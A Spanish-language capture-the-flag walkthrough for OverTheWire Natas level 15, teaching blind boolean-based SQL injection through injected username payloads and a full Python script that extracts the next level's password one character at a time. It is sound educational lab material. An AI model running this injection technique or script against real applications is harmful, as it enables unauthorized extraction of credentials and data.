Natas Nivel 15 a 16
Nivel oficial: http://natas15.natas.labs.overthewire.org
Este nivel introduce SQL injection ciega (blind SQLi), una de las variantes mas peligrosas y comunes en aplicaciones reales: no hay salida de datos visible, solo una senyal binaria (existe / no existe). La contrasena de natas16 se extrae deduciendo caracter a caracter mediante ese unico bit de informacion.
Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).
Objetivo
Extraer la contrasena de natas16 consultando un endpoint que solo responde "This user exists." o "This user doesn't exist.", sin mostrar ningun dato de la base de datos.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
LIKE BINARY (MySQL) | Comparacion de cadenas sensible a mayusculas/minusculas |
| Blind boolean-based SQLi | Exfiltrar datos cuando el unico feedback es verdadero/falso |
requests (Python) | Automatizar peticiones HTTP con sesion autenticada |
| Fuerza bruta de prefijo | Ir construyendo la cadena correcta caracter a caracter |
AND como oraculo | Encadenar condicion controlada al WHERE para obtener el bit |
Concepto clave: blind boolean-based SQLi
En una SQLi clasica el atacante lee datos directamente en la respuesta. En la variante ciega (blind) eso no es posible: el codigo de la aplicacion solo bifurca entre dos mensajes fijos. La tecnica de exfiltracion aprovecha esa bifurcacion como un oraculo:
- Se inyecta una condicion adicional que es verdadera si un caracter especifico esta en la posicion correcta.
- Si la respuesta cambia a “existe” → acierto; si no → fallo.
- Repitiendo esto para cada posicion y cada caracter del alfabeto se reconstruye la cadena completa.
LIKE BINARY es imprescindible en MySQL porque LIKE por defecto es case-insensitive; sin BINARY no se podria distinguir 'a' de 'A', lo que duplicaria el espacio de busqueda y produciria falsos positivos.
Paso a paso
1. Reconocimiento del endpoint
Accede al nivel con las credenciales de natas15 (<pass_natas15>):
http://natas15.natas.labs.overthewire.org
El formulario acepta un campo username. Prueba un usuario conocido:
natas16
La respuesta es "This user exists." → la consulta SQL interna es algo como:
SELECT * FROM users WHERE username = '$input'2. Confirmar que hay inyeccion
Introduce el siguiente payload en el campo username:
natas16" AND "1"="1
Respuesta esperada: "This user exists." (condicion siempre verdadera).
natas16" AND "1"="2
Respuesta esperada: "This user doesn't exist." (condicion siempre falsa).
Ese comportamiento diferenciado confirma la inyeccion booleana.
3. Payload de exfiltracion caracter a caracter
Para comprobar si la contrasena empieza por la letra a:
natas16" AND password LIKE BINARY "a%La consulta resultante en el servidor es equivalente a:
SELECT * FROM users
WHERE username = 'natas16'
AND password LIKE BINARY 'a%'Si responde “exists” → el primer caracter es a. Se va alargando el prefijo confirmado hasta tener la contrasena completa.
4. Script Python para automatizar la exfiltracion
import requests
import string
URL = "http://natas15.natas.labs.overthewire.org/index.php"
CREDS = ("natas15", "<pass_natas15>")
CHARS = string.ascii_letters + string.digits # A-Za-z0-9
TARGET = "natas16"
def check(prefix: str) -> bool:
payload = f'{TARGET}" AND password LIKE BINARY "{prefix}%'
r = requests.post(
URL,
data={"username": payload},
auth=CREDS,
timeout=10,
)
return "This user exists." in r.text
found = ""
while True:
advanced = False
for c in CHARS:
candidate = found + c
if check(candidate):
found = candidate
print(f"[+] Progreso: {found}")
advanced = True
break
if not advanced:
# No se encontro extension: la contrasena esta completa
break
print(f"\n[*] Contrasena de natas16: {found}")Ejecuta el script (asegurate de tener requests instalado):
pip install requests
python3 natas15_exploit.pyLa salida ira mostrando el prefijo confirmado hasta obtener la contrasena completa (<pass_natas16>).
Por que funciona
La aplicacion construye la query concatenando directamente la entrada del usuario sin parametrizar ni escapar las comillas dobles. Al inyectar AND password LIKE BINARY "prefijo%" se anula el cierre original de la cadena y se agrega una condicion extra que el motor MySQL evalua sobre la fila real de natas16. El % es el comodin SQL de “cualquier sufijo”, de modo que LIKE BINARY "abc%" es verdadero si y solo si la contrasena empieza por abc. Iterando posicion a posicion se reconstruye la cadena sin necesidad de leer ni una sola columna directamente.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| Script no distingue mayusculas/minusculas | Usar LIKE sin BINARY | Siempre incluir LIKE BINARY en el payload |
"This user exists." nunca aparece | Error en el texto de comparacion (espacios, punto) | Revisar el HTML crudo con r.text y ajustar el literal buscado |
| Timeout frecuente | Demasiadas peticiones rapidas | Anadir time.sleep(0.05) entre llamadas o reducir CHARS al alfabeto ya confirmado |
| Prefijo se corta antes de terminar | El bucle sale al no encontrar extension pero la pass tiene mas caracteres | Verificar que el alfabeto CHARS incluye todos los caracteres posibles; las contrasenas de Natas suelen ser alfanumericas de 32 caracteres |
Pasar al siguiente nivel
La contrasena obtenida (<pass_natas16>) se usa para acceder a:
http://natas16.natas.labs.overthewire.org
Usuario: natas16 | Contrasena: <pass_natas16>